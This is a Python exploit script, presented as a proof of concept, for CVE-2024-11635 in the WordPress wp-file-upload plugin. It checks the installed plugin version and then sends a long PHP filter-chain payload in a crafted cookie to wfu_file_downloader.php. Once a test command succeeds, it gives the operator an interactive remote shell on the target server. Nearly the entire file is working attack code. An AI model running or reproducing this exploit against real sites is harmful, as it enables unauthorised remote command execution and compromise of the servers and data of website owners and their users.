#!/usr/bin/env python import requests import time import argparse import sys import re # https://stackoverflow.com/questions/15445981/how-do-i-disable-the-security-certificate-check-in-pythons-requests requests.packages.urllib3.disable_warnings() class CVE_2024_11635: def __init__(self, rhost:str, root_path:str=None, proxies:str=None, disable_ssl_verify:bool=False)-> None: self.plugins:str = '/wp-content/plugins/wp-file-upload' if not root_path else f'{root_path}/wp-content/plugins/wp-file-upload' self.session:object = requests.Session() self.proxies:dict = self.initialize_proxy(proxies) if proxies else {} self.rhosts:str = self.initialize_rhost(rhost) self.disable_ssl_verify:bool = disable_ssl_verify def initialize_proxy(self, proxies:str)-> dict: return {'http': proxies, 'https': proxies} def initialize_rhost(self, rhost)-> str: return rhost[:-1] if rhost[-1] == '/' else rhost def check_version(self)-> None: try: check = requests.get( f'{self.rhosts}{self.plugins}', verify=self.disable_ssl_verify, proxies=self.proxies ) # plugins exists but disable file listing if check.status_code == 403: pass # if response code is 200 make sure its not false alarm elif check.status_code == 200: content = check.text if 'Index of {self.plugins}' in content: pass # plugins is not exists else: print('[!] Plugins not exists! Aborting...') sys.exit(0) enumerate = requests.get( f'{self.rhosts}{self.plugins}/readme.txt', verify=self.disable_ssl_verify, proxies=self.proxies ) versions = re.findall(r'=\s*([0-9.]+)\s*=', enumerate.text) versions = versions[0] print(f'[+] Plugins found! current version: {versions}') info = '[+] Plugins is vulnerable to CVE-2024-11635' if versions <= '4.24.12' else ( '[!] Plugins is not vulnerable to CVE-2024-11635' if versions > '4.24.12' else '[?] Plugins might not vulnerable to CVE-2024-11635 ') print(info) except requests.exceptions.ProxyError as proxy_error: print('[!] Please ensure the proxy server is up! Aborting...') sys.exit() except Exception as err: print(err) sys.exit() def exploit_headers(self, cmd:str = None)-> None: data = { 'file': 'foo', 'ticket': 'foo', 'handler': 'dboption', 'session_legacy': 'foo', 'dboption_base': 'cookies', 'dboption_useold': 'foo', 'wfu_cookie': 'foo' } if cmd: data.update({'cmd':cmd}) return data def php_filter_chain_payload(self)-> None: # https://github.com/synacktiv/php_filter_chain_generator # python php_filter_chain_generator.py --chain "" payload = 'php://filter/convert.iconv.UTF8.CSISO2022KR' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.UTF8.UTF16' payload += '|convert.iconv.WINDOWS-1258.UTF32LE' payload += '|convert.iconv.ISIRI3342.ISO-IR-157' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.ISO2022KR.UTF16' payload += '|convert.iconv.L6.UCS2' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.iconv.IBM932.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.L5.UTF-32' payload += '|convert.iconv.ISO88594.GB13000' payload += '|convert.iconv.BIG5.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.851.UTF-16' payload += '|convert.iconv.L1.T.618BIT' payload += '|convert.iconv.ISO-IR-103.850' payload += '|convert.iconv.PT154.UCS4' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.JS.UNICODE' payload += '|convert.iconv.L4.UCS2' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.iconv.GBK.SJIS' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.PT.UTF32' payload += '|convert.iconv.KOI8-U.IBM-932' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.ISO88594.UTF16' payload += '|convert.iconv.IBM5347.UCS4' payload += '|convert.iconv.UTF32BE.MS936' payload += '|convert.iconv.OSF00010004.T.61' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.L6.UNICODE' payload += '|convert.iconv.CP1282.ISO-IR-90' payload += '|convert.iconv.CSA_T500-1983.UCS-2BE' payload += '|convert.iconv.MIK.UCS2' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.SE2.UTF-16' payload += '|convert.iconv.CSIBM1161.IBM-932' payload += '|convert.iconv.MS932.MS936' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.JS.UNICODE' payload += '|convert.iconv.L4.UCS2' payload += '|convert.iconv.UCS-2.OSF00030010' payload += '|convert.iconv.CSIBM1008.UTF32BE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP861.UTF-16' payload += '|convert.iconv.L4.GB13000' payload += '|convert.iconv.BIG5.JOHAB' payload += '|convert.iconv.CP950.UTF16' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.iconv.GBK.BIG5' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.851.UTF-16' payload += '|convert.iconv.L1.T.618BIT' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.SE2.UTF-16' payload += '|convert.iconv.CSIBM1161.IBM-932' payload += '|convert.iconv.MS932.MS936' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP861.UTF-16' payload += '|convert.iconv.L4.GB13000' payload += '|convert.iconv.BIG5.JOHAB' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.UTF8.UTF16LE' payload += '|convert.iconv.UTF8.CSISO2022KR' payload += '|convert.iconv.UCS2.UTF8' payload += '|convert.iconv.8859_3.UCS2' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.PT.UTF32' payload += '|convert.iconv.KOI8-U.IBM-932' payload += '|convert.iconv.SJIS.EUCJP-WIN' payload += '|convert.iconv.L10.UCS4' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP367.UTF-16' payload += '|convert.iconv.CSIBM901.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.PT.UTF32' payload += '|convert.iconv.KOI8-U.IBM-932' payload += '|convert.iconv.SJIS.EUCJP-WIN' payload += '|convert.iconv.L10.UCS4' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.UTF8.CSISO2022KR' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.863.UTF-16' payload += '|convert.iconv.ISO6937.UTF16LE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.864.UTF32' payload += '|convert.iconv.IBM912.NAPLPS' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP861.UTF-16' payload += '|convert.iconv.L4.GB13000' payload += '|convert.iconv.BIG5.JOHAB' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.L6.UNICODE' payload += '|convert.iconv.CP1282.ISO-IR-90' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.iconv.GBK.BIG5' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.865.UTF16' payload += '|convert.iconv.CP901.ISO6937' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP-AR.UTF16' payload += '|convert.iconv.8859_4.BIG5HKSCS' payload += '|convert.iconv.MSCP1361.UTF-32LE' payload += '|convert.iconv.IBM932.UCS-2BE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.L6.UNICODE' payload += '|convert.iconv.CP1282.ISO-IR-90' payload += '|convert.iconv.ISO6937.8859_4' payload += '|convert.iconv.IBM868.UTF-16LE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.L4.UTF32' payload += '|convert.iconv.CP1250.UCS-2' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.SE2.UTF-16' payload += '|convert.iconv.CSIBM921.NAPLPS' payload += '|convert.iconv.855.CP936' payload += '|convert.iconv.IBM-932.UTF-8' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.8859_3.UTF16' payload += '|convert.iconv.863.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP1046.UTF16' payload += '|convert.iconv.ISO6937.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CP1046.UTF32' payload += '|convert.iconv.L6.UCS-2' payload += '|convert.iconv.UTF-16LE.T.61-8BIT' payload += '|convert.iconv.865.UCS-4LE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.MAC.UTF16' payload += '|convert.iconv.L8.UTF16BE' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.CSIBM1161.UNICODE' payload += '|convert.iconv.ISO-IR-156.JOHAB' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.INIS.UTF16' payload += '|convert.iconv.CSIBM1133.IBM943' payload += '|convert.iconv.IBM932.SHIFT_JISX0213' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.iconv.SE2.UTF-16' payload += '|convert.iconv.CSIBM1161.IBM-932' payload += '|convert.iconv.MS932.MS936' payload += '|convert.iconv.BIG5.JOHAB' payload += '|convert.base64-decode' payload += '|convert.base64-encode' payload += '|convert.iconv.UTF8.UTF7' payload += '|convert.base64-decode/resource=php://temp' return payload def exploitation(self)-> None: try: print('[+] Crafting malicious payload...') params = self.exploit_headers('id') payload = self.php_filter_chain_payload() cookies = {'Cookie': f'wfu_ABSPATH={payload};'} print('[+] Sending payload...') malicious_requests = self.session.get( f'{self.rhosts}{self.plugins}/wfu_file_downloader.php', params=params, headers=cookies, proxies=self.proxies, verify=self.disable_ssl_verify ) print(f'[+] Payload sent!') response = malicious_requests.text.split('\n') response = '\n'.join(response[:-1]) if re.search(r'uid=(\d+)\((.*?)\)\s+gid=(\d+)\((.*?)\)\s+groups=(.+)', response): print(response) print('[+] Pwned! Go ahead...') while True: params = self.exploit_headers(input('> ')) malicious_requests = self.session.get( f'{self.rhosts}{self.plugins}/wfu_file_downloader.php', params=params, headers=cookies, proxies=self.proxies, verify=self.disable_ssl_verify ) response = malicious_requests.text.split('\n') response = '\n'.join(response[:-1]) print(response) else: print('[+] Expected shell output was not returned! Aborting...') sys.exit(0) except requests.exceptions.ProxyError: print('[!] Please ensure the proxy server is up! Aborting...') sys.exit() except KeyboardInterrupt: print('\n[+] User force to exit! Aborting...') sys.exit() except Exception as err: print(err) sys.exit() print() print('''⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡴⠟⠛⠛⠛⠛⠛⢦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠙⠷⣄⠀⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⢀⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡆⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠀⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣷⠀⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⢀⡿⠀⠀⢀⣀⣤⡴⠶⠶⢦⣤⣀⡀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⠀⠀⠘⣧⡀⠛⢻⡏⠀⠀⠀⠀⠀⠀⠉⣿⠛⠂⣼⠇⠀⠀⠀⠀⠀⠀''') print('''⠀⠀⠀⠀⢀⣤⡴⠾⢷⡄⢸⡇⠀⠀⠀⠀⠀⠀⢀⡟⢀⡾⠷⢦⣤⡀⠀⠀⠀⠀''') print('''⠀⠀⠀⢀⡾⢁⣀⣀⣀⣻⣆⣻⣦⣤⣀⣀⣠⣴⣟⣡⣟⣁⣀⣀⣀⢻⡄⠀⠀⠀''') print('''⠀⠀⢀⡾⠁⣿⠉⠉⠀⠀⠉⠁⠉⠉⠉⠉⠉⠀⠀⠈⠁⠈⠉⠉⣿⠈⢿⡄⠀⠀''') print('''⠀⠀⣾⠃⠀⣿⠀⠀⠀⠀⠀⠀⣠⠶⠛⠛⠷⣤⠀⠀⠀⠀⠀⠀⣿⠀⠈⢷⡀⠀''') print('''⠀⣼⠃⠀⠀⣿⠀⠀⠀⠀⠀⢸⠏⢤⡀⢀⣤⠘⣧⠀⠀⠀⠀⠀⣿⠀⠀⠈⣷⠀''') print('''⢸⡇⠀⠀⠀⣿⠀⠀⠀⠀⠀⠘⢧⣄⠁⠈⣁⣴⠏⠀⠀⠀⠀⠀⣿⠀⠀⠀⠘⣧''') print('''⠈⠳⣦⣀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠻⠶⠶⠟⠀⠀⠀⠀⠀⠀⠀⣿⠀⢀⣤⠞⠃''') print('''⠀⠀⠀⠙⠷⣿⣀⣀⣀⣀⣀⣠⣤⣤⣤⣤⣀⣤⣠⣤⡀⠀⣤⣄⣿⡶⠋⠁⠀⠀''') print('''⠀⠀⠀⠀⠀⢿⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣤⣿⠀⠀⠀⠀⠀''') print() if __name__ == '__main__': parser = argparse.ArgumentParser(prog=sys.argv[0], description='CVE-2024-11635 Proof of Concept') parser.add_argument('-r', '--rhost', type=str, required=True, help='Target url (example: http://example.com)', metavar='') parser.add_argument('-p', '--path', type=str, required=False, help='Set custom wordpress root path', metavar='') parser.add_argument('--proxy', type=str, required=False, help='Sent packet through proxy (example: 127.0.0.1:8080)') parser.add_argument('--disable_ssl_verify', action='store_false', required=False, default=True, help='Disable SSL Verify') argument = parser.parse_args() exploit = CVE_2024_11635( rhost=argument.rhost, root_path=argument.path, proxies=argument.proxy, disable_ssl_verify=argument.disable_ssl_verify ) exploit.check_version() exploit.exploitation()